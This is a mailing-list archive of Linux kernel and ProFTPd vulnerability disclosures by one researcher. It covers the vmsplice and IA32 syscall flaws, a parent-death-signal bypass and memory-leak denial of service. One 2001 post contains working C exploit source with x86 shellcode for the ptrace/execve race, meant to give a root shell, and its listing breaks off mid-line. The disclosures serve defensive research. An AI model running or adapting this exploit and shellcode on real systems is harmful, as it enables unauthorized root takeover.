CSA-L03: Linux kernel vmsplice unchecked user-pointer dereference

2008-02-12 Thread Wojciech Purczynski

===[ ABSTRACT ]=

A new vmsplice() system call was introduced in the 2.6.17 release of the
Linux kernel. In the 2.6.23 kernel the system call functionality has
been further extended resulting in two new critical vulnerabilities.


===[ AFFECTED SOFTWARE ]

Linux 2.6.23 - 2.6.24

For the exact kernel version please refer to an information provided by
your vendor.


===[ DESCRIPTION ]==

VULNERABILITY #1

Inappropriate dereference of user-supplied memory pointers in the
code beginning at line 1378 in the vmsplice_to_user() kernel
function (fs/splice.c):

---8--- fs/splice.c:1378 ---8---
error = get_user(base, iov-iov_base);
/* ... */
if (unlikely(!base)) {
error = -EFAULT;
break;
}
/* ... */
sd.u.userptr = base;
/* ... */
size = __splice_from_pipe(pipe, sd, pipe_to_user);
---8--- fs/splice.c:1401 ---8---

The code lacks validation of these pointers (i.e. with access_ok()).
The __splice_from_pipe() assumes these are valid user-memory pointers
and never makes any verification of them. The function dereferences the
pointers with __copy_to_user_inatomic() function (in pipe_to_user()) in
order to write data to user-process memory in this case leading to
possibility of arbitrary data (read from pipe) to arbitrary kernel
memory.


VULNERABILITY #2

The copy_from_user_mmap_sem() function copies data from user-process
memory with the use of __copy_from_user_inatomic() without validating
user-supplied pointer with access_ok():

---8--- fs/splice.c:1188 ---8---
partial = __copy_from_user_inatomic(dst, src, n);
---8--- fs/splice.c:1188 ---8---

This vulnerability leads to indirect reading of arbitrary kernel memory.


===[ IMPACT ]===

Vulnerabilities may lead to local system compromise including execution
of arbitrary machine code in the context of running kernel.

Vulnerability #1 has been successfully exploited on Linux 2.6.24.
Vulnerability #2 not tested.


===[ DISCLOSURE TIMELINE ]==

1st Feb 2008Vendor notification
8th Feb 2008Public disclosure


===[ AUTHOR ]===

Wojciech Purczynski [EMAIL PROTECTED]

Wojciech Purczynski is a Security Researcher at Vulnerability Research
Labs, COSEINC PTE Ltd.
http://coseinc.com

Wojciech Purczynski is also a member of iSEC Security Research
http://isec.pl/


===[ LEGAL DISCLAIMER ]=

Copyright (c) 2008 Wojciech Purczynski
Copyright (c) 2008 COSEINC PTE Ltd.

All Rights Reserved.

PUBLISHING, DISTRIBUTING, PRINTING, COPYING, SCANNING, DUPLICATING IN
ANY FORM, MODIFYING WITHOUT PRIOR WRITTEN PERMISSION IS STRICTLY
PROHIBITED.

THE DOCUMENT IS PROVIDED AS IS WITHOUT WARRANTY OF ANY KIND. THE
CONTENT MAY CHANGE WITHOUT NOTICE. IN NO EVENT SHALL THE AUTHORS BE
LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES, INJURIES,
LOSSES OR UNLAWFUL OFFENCES.

USE AT YOUR OWN RISK.



COSEINC Linux Advisory #2: IA32 System Call Emulation Vulnerability

2007-09-24 Thread Wojciech Purczynski
===[ ABSTRACT ]=

Insufficient validation of general-purpose register in IA32 system call
emulation code may lead to local system compromise on x86_64 platform.


===[ AFFECTED SOFTWARE ]

Linux 2.6
Linux 2.4

For the exact kernel version please refer to an information provided by
your vendor.


===[ DESCRIPTION ]==

On x86_64 platform the Linux kernel supports compatibility emulation for
IA32 userland applications providing 32-bit system calls amongst other
32-bit resources.

As a result of arch/x86_64/ia32/ia32entry.S code optimization invalid
opcodes was used in the low level assembler routines providing
insufficient validation of %RAX register in the following part of code
(2.6):

---8---
sysenter_do_call:
cmpl$(IA32_NR_syscalls-1),%eax
ja  ia32_badsys
IA32_ARG_FIXUP 1
call*ia32_sys_call_table(,%rax,8)
---8---
cstar_do_call:
cmpl $IA32_NR_syscalls-1,%eax
ja  ia32_badsys
IA32_ARG_FIXUP 1
call *ia32_sys_call_table(,%rax,8)
---8---
ia32_do_syscall:
cmpl $(IA32_NR_syscalls-1),%eax
ja  ia32_badsys
IA32_ARG_FIXUP
call *ia32_sys_call_table(,%rax,8) # xxx: rip relative
---8---

Improperly validated 64-bit values stored in the %RAX register may lead
to out-of-bounds system call table access resulting in the ability to
execute arbitrary code in the context of the Linux kernel.


===[ IMPACT ]===

Unprivileged local user may execute arbitrary code in the context of the
Linux kernel running on x86_64 platform.


===[ DISCLOSURE TIMELINE ]==

18th September 2007 Vendor notification
24th September 2007 Public disclosure


===[ AUTHOR ]===

Wojciech Purczynski [EMAIL PROTECTED]

Wojciech Purczynski is a Security Researcher at Vulnerability Research
Labs, COSEINC PTE Ltd. Wojciech Purczynski is also a member of iSEC
Security Research.


===[ LEGAL DISCLAIMER ]=

Copyright (c) 2007 Wojciech Purczynski
Copyright (c) 2007 COSEINC PTE Ltd.

All Rights Reserved.

PUBLISHING, DISTRIBUTING, PRINTING, COPYING, SCANNING, DUPLICATING IN
ANY FORM, MODIFYING WITHOUT PRIOR WRITTEN PERMISSION IS STRICTLY
PROHIBITED.

THE DOCUMENT IS PROVIDED AS IS WITHOUT WARRANTY OF ANY KIND. THE
CONTENT MAY CHANGE WITHOUT NOTICE. IN NO EVENT SHALL THE AUTHORS BE
LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES, INJURIES,
LOSSES OR UNLAWFUL OFFENCES.

USE AT YOUR OWN RISK.


Re: COSEINC Linux Advisory #1: Linux Kernel Parent Process Death Signal Vulnerability

2007-08-16 Thread Wojciech Purczynski

 Could you please explain it to me where do you see privilege escalation
 here?

Sending a signal to privileged process is a privilege itself. Under some
circumstances this may lead to other consequences. For example I was able
to code local root exploit using some very common suid binary, although
its usage is somewhat limited.


Re: COSEINC Linux Advisory #1: Linux Kernel Parent Process Death Signal Vulnerability

2007-08-15 Thread Wojciech Purczynski

 This doesn't change anything in what I said previously. If the sender's
 EUID or RUID equals to any of SUID or RUID of the victim or the sender
 process is root, the sender can send any signal to the victim; if none
 of those conditions are met, it obviously can't, no matter how and what
 signal it sends. For details look at check_kill_permission() and
 group_send_sig_info() in kernel/signal.c and reparent_thread() in
 kernel/exit.c in the kernel source tree (version 2.6.22).

Dan, could you take a closer look at what setuid(0) does? In the beggining
of setuid manual page you can read that:

   setuid  sets the effective user ID of the current process.
   If the effective userid of the caller is  root,  the  real
   and saved user ID's are also set.

In this case check_kill_permission() returns -EPERM for unprivileged
parent.


Re: COSEINC Linux Advisory #1: Linux Kernel Parent Process Death Signal Vulnerability

2007-08-15 Thread Wojciech Purczynski

 In my eyes this is definitely a security issue. But I cannot imagine a
 way to exploit this issue at the moment. First you have to find a suid
 binary which fork()'s. Next thing is that you need access to that
 binary. And then? If both conditions are really met, what's next? The
 possibilities are depending a little bit on the suid binary, am I right?
 Please feel free to correct me if I am wrong.

You do not need suid that forks, you do the fork then child execves victim
suid which then setuids and your parent execves another suid that exits or
dies and thus the parent process death signal gets delivered to victim
suid. It's all in my advisory.


Re: COSEINC Linux Advisory #1: Linux Kernel Parent Process Death Signal Vulnerability

2007-08-15 Thread Wojciech Purczynski

  In this case check_kill_permission() returns -EPERM for unprivileged
  parent.
 
 You always talked about setuid root process sending PDEATH_SIG to the
 root child, didn't you? check_kill_permission() checks current-euid and
 current-uid against t-uid and t-suid, where 'current' is the pointer
 to the task_struct of the sender, or, in our case, of the dying setuid
 root process, and 't' is the pointer to the task_struct of the root
 child. If one of those checks succeeds then the entire
 check_kill_permission() succeeds. current-euid is in our case 0, t-uid
 and t-suid are 0 too. So where is the problem?

The problem is that without suid binary execved from parent process you
can not send the signal. ;) With suid binary you can and that makes this
issue a privilege escalation vulnerability.


COSEINC Linux Advisory #1: Linux Kernel Parent Process Death Signal Vulnerability

2007-08-14 Thread Wojciech Purczynski

===[ ABSTRACT ]=

An unprivileged local user may send arbitrary signal to a child process
despite security restrictions.


===[ AFFECTED SOFTWARE ]

Linux 2.6
Linux 2.4

For the exact kernel version please refer to an information provided by
your vendor.


===[ DESCRIPTION ]==

Typically unprivileged user can not send signal to processes running
with different UID. Due to vulnerability found in the Linux kernel any
local user may bypass security restrictions and send arbitrary signal to
any child process executed by the user.

When a parent process dies or exits its child processes may receive a
signal.  Each child process may choose and set its own parent process
death signal using PR_SET_PDEATHSIG function of the prctl() system
call.

PARENT  CHILD

fork()
prctl(PR_SET_PDEATHSIG)
exit()'ed or killed
child receives the signal

The parent process death signal is not reset over execve() system call
and is inherited by spawned process:

PARENT  CHILD

fork()
prctl(PR_SET_PDEATHSIG)
execve(./a.out)
exit()'ed or killed
child receives the signal

The signal gets delivered only if parent process has sufficient
privileges to send signals to child processes. Typically any child
process running with higher privilege than its parent will receive no
signal.

PARENT  CHILD

fork()
prctl(PR_SET_PDEATHSIG)
execve(/bin/setuid-binary)
exit()'ed or killed
child receives NO signal this time

However, above restriction may be bypassed if parent process execute
setuid-root binary which dies afterwards.

PARENT  CHILD

fork()
prctl(PR_SET_PDEATHSIG)
execve(/bin/setuid-binary)
execve(/bin/setuid-binary)
exit()'ed or killed
privileged process receives the signal


===[ DISCLOSURE TIMELINE ]==

27th July 2007  Vendor notification
14th August 2007Public disclosure


===[ AUTHOR ]===

Wojciech Purczynski [EMAIL PROTECTED]

Wojciech Purczynski is a Security Researcher at Vulnerability Research
Labs, COSEINC PTE Ltd. Wojciech Purczynski is also a member of iSEC
Security Research.


===[ LEGAL DISCLAIMER ]=

Copyright (c) 2006,2007 Wojciech Purczynski
Copyright (c) 2007 COSEINC PTE Ltd.

All Rights Reserved.

PUBLISHING, DISTRIBUTING, PRINTING, COPYING, SCANNING, DUPLICATING IN
ANY FORM, MODIFYING WITHOUT PRIOR WRITTEN PERMISSION IS STRICTLY
PROHIBITED.

THE DOCUMENT IS PROVIDED AS IS WITHOUT WARRANTY OF ANY KIND. THE
CONTENT MAY CHANGE WITHOUT NOTICE. IN NO EVENT SHALL THE AUTHORS BE
LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES, INJURIES,
LOSSES OR UNLAWFUL OFFENCES.

USE AT YOUR OWN RISK.


Re: COSEINC Linux Advisory #1: Linux Kernel Parent Process Death Signal Vulnerability

2007-08-14 Thread Wojciech Purczynski

Small correction - I forgot to add setuid(0) ;)

PARENT  CHILD

fork()
prctl(PR_SET_PDEATHSIG)
execve(/bin/setuid-binary)
setuid(0)
exit()'ed or killed
child receives NO signal this time


PARENT  CHILD

fork()
prctl(PR_SET_PDEATHSIG)
execve(/bin/setuid-binary)
setuid(0)
execve(/bin/setuid-binary)
exit()'ed or killed
privileged process receives the signal


Re: COSEINC Linux Advisory #1: Linux Kernel Parent Process Death Signal Vulnerability

2007-08-14 Thread Wojciech Purczynski

 I'm not sure this is a real security issue. If some process has the same
 effective UID as the given one, the former can always send any signal to
 the latter. Thus the behaviour you described is IMHO normal.

It becomes a security issue whenever suid process drops user's UIDs.


ptrace/execve race condition exploit (non brute-force)

2001-03-27 Thread Wojciech Purczynski


Hi,

Here is exploit for ptrace/execve race condition bug in Linux kernels up
to 2.2.18.

It works even on openwall patched kernels (including broken fix in 2.2.18ow4)
if you use address of BSS section in memory (use objdump -h /suid/binary
to get .bss section address).

It does not use brute-force! It does only one attemt, parent process detects
exact moment of context-switch after child goes sleep in execve.

If you have some problems, ensure that suid binary you want to sploit does
not exist in disk cache.

For more info read comments in the source code.

It has been broken in two places.

Sample output:

[wp@wp /tmp]$ uname -a
Linux wp.local.elzabsoft.pl 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686
unknown
[wp@wp /tmp]$ objdump -h /bin/su | grep .bss
  8 .rel.bss  0030  08048ca8  08048ca8  0ca8  2**2
 21 .bss  00d4  0804bf04  0804bf04  2f04  2**2
[wp@wp /tmp]$ find / dev/null 21
[wp@wp /tmp]$ ./epcs /bin/su 0x0804bf04
Bug exploited successfully.
sh-2.03#

It works with any suid binary.

Cheers,
wp

+-+
| Wojciech Purczyski Linux Administrator |
| [EMAIL PROTECTED] http://www.elzabsoft.pl/~wp |
| +48604432981http://www.elzabsoft.pl/~wp/gpg.asc |
+-+


/*
 * epcs v2
 * ~~~
 * exploit for execve/ptrace race condition in Linux kernel up to 2.2.18
 *
 * (c) 2001 Wojciech Purczynski / cliph / [EMAIL PROTECTED]
 *
 * This sploit does _not_ use brute force. It does not need that.
 * It does only one attemt to sploit the race condition in execve. 
 * Parent process waits for a context-switch that occur after 
 * child task sleep in execve.
 *
 * It should work even on openwall-patched kernels (I haven't tested it).
 *
 * Compile it:
 *  cc epcs.c -o epcs
 * Usage:
 *  ./epcs [victim] [address]
 *
 * It gives instant root shell with any of a suid binaries.
 *
 * If it does not work, try use some methods to ensure that execve
 * would sleep while loading binary file into memory,
 *
 *  i.e.: cat /usr/lib/* /dev/null 21
 *
 * Tested on RH 7.0 and RH 6.2 / 2.2.14 / 2.2.18 / 2.2.18ow4
 * This exploit does not work on 2.4.x because kernel won't set suid 
 * privileges if user ptraces a binary.
 * But it is still exploitable on these kernels.
 *
 * Thanks to Bulba (he made me to take a look at this bug ;) )
 * Greetings to SigSegv team.
 *
 */

#include stdio.h
#include fcntl.h
#include sys/types.h
#include signal.h
#include linux/user.h
#include sys/wait.h
#include limits.h
#include errno.h
#include stdlib.h

#define CS_SIGNAL SIGUSR1
#define VICTIM "/usr/bin/passwd"
#define SHELL "/bin/sh"
#define SHELL_LEN "\x07"/* strlen(SHELL) in hex */
#define SHELLCODE 0x/* address to put shellcode at */

/*
 * This is my private shellcode.
 * Offset 0x0a - executable's filename length.
 */
char shellcode[1024]=
"\xeb\xfe"
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"  /* setuid(0) */
"\x31\xc0\xb0\x2e\xcd\x80"
"\x31\xc0\x50\xeb\x17\x8b\x1c\x24"  /* execve(SHELL) */
"\x88\x43" SHELL_LEN "\x89\xe1\x8d\x54\x24"
"\x04\xb0\x0b\xcd\x80\x31\xc0\x89"
"\xc3\x40\xcd\x80\xe8\xe4\xff\xff"
"\xff" SHELL ;

volatile int cs_detector=0;

void cs_sig_handler(int sig)
{
cs_detector=1;
}

void do_victim(char * filename)
{
while (!cs_detector) ;
kill(getppid(), CS_SIGNAL);
execl(filename, filename, NULL);
perror("execl");
exit(-1);
}

int check_execve(pid_t victim, char * filename)
{
char path[PATH_MAX+1];
char link[PATH_MAX+1];
int res;

snprintf(path, sizeof(path), "/proc/%i/exe", (int)victim);
if (readlink(path, link, sizeof(link)-1)0) {
perror("readlink");
return -1;
}

link[sizeof(link)-1]='\0';
res=!strcmp(link, filename);
if (res) fprintf(stderr, "Child slept outside of execve\n");
return res;
}

int main(int argc, char * argv[])
{
char * filename=VICTIM;
pid_t victim;
int error, i;
unsigned long eip=SHELLCODE;
struct user_regs_struct regs;

if (argc1) filename=argv[1];
if (argc2) eip=strtoul(argv[2], NULL, 16);

signal(CS_SIGNAL, cs_sig_handler);

victim=fork();
if (victim0) {
perror("fork: victim");
exit(-1);
}
if (victim==0) do_victim(filename);

kill(victim, CS_SIGNAL);
while (!cs_detector) ;

if (ptra

Re: Memory leakage in ProFTPd leads to remote DoS (SIZE FTP); (Exploit Code)

2001-01-10 Thread Wojciech Purczynski

 " ProFTPd has memory leakage bug when it executes the SIZE FTP command. By
 calling the FTP command SIZE 5000 times it possible to cause ProFTPd to
 consume over 300kB of memory. Exploiting this bug with more SIZE commands
 gives us simple DoS attack. Anonymous access is sufficient to use SIZE
 commands and to exploit this bug."

This memory leakage occurs only if proftpd is improperly installed and
/usr/local/var/proftpd directory does not exist or is not writable for
proftpd. If proftpd is installed from RPM package this directory is
/var/run/proftpd. The bug is in log_open_run() function in src/log.c file.
The functions tries to open run-time scoreboard file in this directory for
most (every?) command. Each time it allocates memory for scoreboard file
name not freeing it leading to memory leakage. This time proftpd
developers confirmed this bug.

While playing with proftpd I discovered another memory leakage. The memory
leakage may be exploited by entering many ,,USER nonexistentuser''
commands before login. No FTP access in needed in order to exploit this
DoS. 1 USER commands causes proftpd to consume about 1,7MB. No patch
is currently available to fix this bug.

I use proftpd-1.2.0rc2 on RH 6.2. Confirmed also on 1.2.0pre10.

Cheers,
wp

+----+
| Wojciech Purczynski   [EMAIL PROTECTED]  http://www.elzabsoft.pl/~wp |
| GSM: +48604432981   Linux Administrator   SMS: [EMAIL PROTECTED] |
+-- Public GnuPG Key:  http://www.elzabsoft.pl/~wp/gpg.asc --+